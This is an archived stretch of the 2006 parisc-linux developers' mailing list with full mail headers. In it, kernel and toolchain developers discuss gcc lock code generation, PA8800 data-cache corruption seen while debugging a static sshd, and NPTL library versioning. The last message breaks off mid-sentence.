	by free.linux.hp.com (Postfix) with ESMTP id C2E797D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:23:58 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1884894ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 10:23:57 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=O68TB33x9JNNmFyLXUVg4zBmZYUy6SLaXRGgl/edKZY4pTBhkLIbgRvF2wgOfSsHauLbXw+aCFkOVDAoYJ5H+AJHDSAGK2P0qCyhK5v9NhNfWV/KuFkgc0vmSXXxg82lfLkLeMlcBlno2jZ8saktuLKiPtytZ8+4bP7oTDYF+0Q=
Original-Received: by 10.78.160.2 with SMTP id i2mr869100hue;
	Sat, 22 Jul 2006 10:23:57 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 22 Jul 2006 10:23:57 -0700 (PDT)
In-Reply-To: <44C1338C.7010607@tiscali.be>
Content-Disposition: inline
X-Google-Sender-Auth: 887c78b7dfd6b5c4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UTuqCSI7bHIyva3NNjQ0VekqJihyalBq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23834

> And here are a lot of questions:
>         Q2: some diff in routine like 2 times ldcw with gcc-3 and only one with gcc-4 (may be ok?)
>

Analyze the code. Is it doing functionally the same thing?

I assert that yes, it's doing exactly the same thing. The older gcc
has unwrapped one of the ldcw's, and thus has two copies of the inner
loop in the assembly. The code on the right does exactly the same
thing, but in less instructions. GCC has gotten better.

There isn't a missing lock, we only needed one lock, the older gcc was
doing a poorer job of code generation.

There may be other parts of the kernel that have problems, so keep looking!

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sat, 22 Jul 2006 13:29:13 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440607221029h1acda159mf4c4e5baca2f0c1e@mail.gmail.com>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
	<20060705164734.GB30640@athena.road.mcmartin.ca>
	<44AD54F0.90508@tiscali.be>
	<20060706183409.GB5692@athena.road.mcmartin.ca>
	<44C1338C.7010607@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624136 20496 80.91.229.3 (22 Nov 2014 02:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:16 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 17:29:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 22 Jul 2006 19:29:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D2597D6DA;
	Sat, 22 Jul 2006 11:29:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26771-05; Sat, 22 Jul 2006 11:29:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EC9D7D6D2;
	Sat, 22 Jul 2006 11:29:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0B67D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:29:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26628-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:29:14 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 696817D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:29:14 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1886334ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 10:29:13 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=IIMBvL9Ukaj7nFqaUAGrS4Af0SS7vDOBiEEdOh3/qFClntQAF9fL+54q3bMlBBtSZqtrPUnjLPnwV0ZvGgiqpOqoWXsxLH4qRgs3ZJQBbU/oHsGvMPi5nNGk7V6ZYZxs8cTyIe8dQQ2vS2G3ZQaOcrprbO6uy6A7IteaedTRa94=
Original-Received: by 10.78.156.6 with SMTP id d6mr873446hue;
	Sat, 22 Jul 2006 10:29:13 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 22 Jul 2006 10:29:13 -0700 (PDT)
In-Reply-To: <44C1338C.7010607@tiscali.be>
Content-Disposition: inline
X-Google-Sender-Auth: 80c539ac3706958a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gw2gEPRWbXBtrLqHPTQ2D/EqLyUmZcgl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23835

>         Q4: imho the most important: with 2 gcc where is the couple of ssm/rsm that jejb introduced in his patch:

The *most* important piece of imformation is the pre-compiled source.
You *must* determine that both paths of the if/else are different,
because if they are the same, then GCC is right to remove one of the
paths, and unconditionally call cpu_relax.

Where is the pre-compiled source to prove that the paths aren't identical?

Remember to work towards a solution!

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sat, 22 Jul 2006 13:50:40 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624136 20498 80.91.229.3 (22 Nov 2014 02:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:16 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "James Bottomley" <James.Bottomley@steeleye.com>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 17:50:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 22 Jul 2006 19:50:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2A2D7D6DB;
	Sat, 22 Jul 2006 11:50:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27038-07; Sat, 22 Jul 2006 11:50:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B4E37D6D4;
	Sat, 22 Jul 2006 11:50:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56C927D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:50:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27038-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:50:42 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by free.linux.hp.com (Postfix) with ESMTP id ED3817D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:50:41 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1892309ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 10:50:40 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=Tyx9ocK93OsdexYactf+6Y5wG9qrq57XUEPdUhQzao7FC4G51KbM/9xSWA3pdZpEljyElEIYJz93xAk6tDfefcZXx9FpwJXQf8ePH26HfEvnUZKcEXnWuvbhGwZ9PMLRVttwGpQWrBc90bcuSBWgbu0F44vdMQbx4UyRvXIVgDE=
Original-Received: by 10.78.140.17 with SMTP id n17mr876666hud;
	Sat, 22 Jul 2006 10:50:40 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 22 Jul 2006 10:50:40 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 728a8c0b135f90a1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SFfwd4VBPTRt7OjGPjIww9Exc2tpZIt8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23836

James,

After spending ~4 hours of debugging yesterday evening, between
Thibaut, Dave, and myself, we firmly believe the PA8800 problems are
data cache issues.

Let me describe the test environment, the test, and the results/conclusions:

1. Thibaut's magnum, PA8800. 1 cpu enabled, 2 cores, L1/L2 enabled. etc.
2. Kernel was 2.6.17, with a revision identifier that is not in my notes.
3. A statically compiled sshd, with *everything* disabled.
    This required LIBS="-ldl" and LD_FLAGS="-static" to achieve.

We copied the statically compiled sshd to the PA8800, loaded sshd via
gdb. Passed the following parameters "-D -p 2222", in gdb we used "set
follow-fork-mode child", and started the process.

>>From an external box we initiate an ssh connection to the remote
PA8800 and waite for gdb to catch the SIGSEGV in the sshd child. We
did this over, and over, and over to look for patterns.

Pattern 1:

Using strace, we looked at the syscalls, and determined that the child
sshd process *always* dies after an fd socket read.

Pattern 2:

The set of registers involved is small, roughly r4, r19, r3, r21, r28.
These registers are primarily used by GCC to reference local data on
the stack. r3 is the frame marker and was frequently involved in the
faults.

Pattern 3:

Called functions that fail deal with allocating and touching new
memory. Deaths are primarily in malloc, xmalloc, memset,
packet_read_seqnr, buffer_put_bignum2_ret. Infact we died more often
than not in malloc.

Results:

Initially we thought it was an icache issue, then we realized that
PLABEL's are just data, and when we removed the PLABEL's from the
equation (complete static compile) we stopped seeing invalid insns. We
believe the truth here is that the PLABEL data is corrupted, and thus
r19 and the ip are bogus, so the failure appears to be icache related.
In thruth it was only corrupted PLABELs.

With a fully static sshd, the PLABEL's are not present, and the faults
are *all* memory loads and stores to the stack.

Conclusions:

a) We think it is not an icache issue, but infact a dcache issue.

Often it appears as if a register was corrupted, but the truth is that
the ldw loaded bogus data into a register.

b) One time, on a later comparison in gdb, the register and data in
memory did not equal. I stress that we only saw this situation once.

c) We have often seen the failure with the frame marker on a cacheline
boundary, for example 0xc0278100 (e.g. 256 bytes).

It is my hope that these patterns will trigger someone to devise a
plan for fixing this. If you have any questions about our methods, or
reproducing this, you can easily talk to Thibaut and we can probably
setup access to the test sshd binary.

Grant expressed worry that "Pattern 1" was indicative of a dma sync
problem with the network socket read.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL fixes.
Date: Sat, 22 Jul 2006 11:54:23 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20060722185423.GA30156@titanium.v3.ca>
References: <119aab440607181547v383ed926ic3420c7865846361@mail.gmail.com>
	<20060720221634.GA25514@titanium.v3.ca>
	<119aab440607210834u7761a7e2w54e3990fedaa995c@mail.gmail.com>
	<20060721155009.GA18291@titanium.v3.ca>
	<119aab440607221000w6cf467c2k8d16edf20e7791c4@mail.gmail.com>
	<119aab440607221000w687c2d8v9afa5fb7d7bdd12b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624136 20501 80.91.229.3 (22 Nov 2014 02:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:16 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 18:54:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 22 Jul 2006 20:54:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7464A7D6E7;
	Sat, 22 Jul 2006 12:54:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27763-09; Sat, 22 Jul 2006 12:54:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E51C17D6EB;
	Sat, 22 Jul 2006 12:54:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6620F7D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 12:54:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27763-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 12:54:24 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 32DF67D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 12:54:24 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k6MIsNoE030230
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 22 Jul 2006 11:54:23 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k6MIsN9j030229;
	Sat, 22 Jul 2006 11:54:23 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <119aab440607221000w687c2d8v9afa5fb7d7bdd12b@mail.gmail.com>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XkHwfINFPjlt6urBOTU2zRozMTE2Ncm+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23837

(restoring cc:'s dropped by accident)

On Sat, Jul 22, 2006 at 01:00:58PM -0400, Carlos O'Donell wrote:
> On 7/22/06, Carlos O'Donell <carlos@systemhalted.org> wrote:
> >> If yes, I'll make it a priority next week so that I can get some initial
> >> bootstrapping stuff done.
> >
> >It's not high-prio, I don't care about the ABI break, I care primarily
> >about reducing the number of failures. After the failures are reduced
> >we *might* be able to tackle ABI compatibility... but again I doubt
> >this, since it would require similar patches to Linuxthreads which
> >were rejected before and will be rejected again. Not to mention it
> >causes weird headaches with all the other arches that put
> >uninitialized locks in .bss.
> 
> Is an alternative that we bump the .so number in the thread library?

Yes an no.  That solves the problem from an upstream perspective, but it
will make upgrading to NPTL for current parisc users hard.  The problem
is that we don't version libpthreads itself, we only version libc6.  The
packaging system doesn't then provide any hints that the version of
libpthreads that the packages are looking for doesn't exist anymore.

If you're going to bump the version number of pthreads, I'd recommend
taking this time to do a break on glibc as well and get any changes done
that you might need to.

Tks,
Jeff Bailey

-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sat, 22 Jul 2006 14:11:18 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <200607221411.18605.mszick@morethan.org>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<44C1338C.7010607@tiscali.be>
	<119aab440607221023s30f966c0pbee4aa9357d9b7b5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624136 20502 80.91.229.3 (22 Nov 2014 02:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:16 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 James.Bottomley@steeleye.com,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 19:11:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 22 Jul 2006 21:11:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4621C7D6F1;
	Sat, 22 Jul 2006 13:11:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28040-07; Sat, 22 Jul 2006 13:11:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 850F67D6F4;
	Sat, 22 Jul 2006 13:11:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A6767D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 13:11:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28054-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 13:11:24 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 5DA7C7D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 13:11:24 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6MJBNPx068615;
	Sat, 22 Jul 2006 12:11:23 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.64.16] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id MqH0suN2
	authenticated by SMTP; Sat, 22 Jul 2006 12:11:22 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <119aab440607221023s30f966c0pbee4aa9357d9b7b5@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UErwd4RBPTRt7OjGPjIw8g8xc2tpZItB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23838

On Sat July 22 2006 12:23, Carlos O'Donell wrote:
> > And here are a lot of questions:
> >         Q2: some diff in routine like 2 times ldcw with gcc-3 and only one with gcc-4 (may be ok?)
> >
> 
> Analyze the code. Is it doing functionally the same thing?
> 
> I assert that yes, it's doing exactly the same thing. The older gcc
> has unwrapped one of the ldcw's, and thus has two copies of the inner
> loop in the assembly. The code on the right does exactly the same
> thing, but in less instructions. GCC has gotten better.
> 
> There isn't a missing lock, we only needed one lock, the older gcc was
> doing a poorer job of code generation.
> 

OK - will go with that theory.

> There may be other parts of the kernel that have problems, so keep looking!
> 

Now that portion of the work is easy (not quick, easy) to reproduce.

Pick a fairly recent kernel (I think Joel has used both 2.6.16 & 2.6.17);
Use gcc-3.3 to build 64-bit-smp;
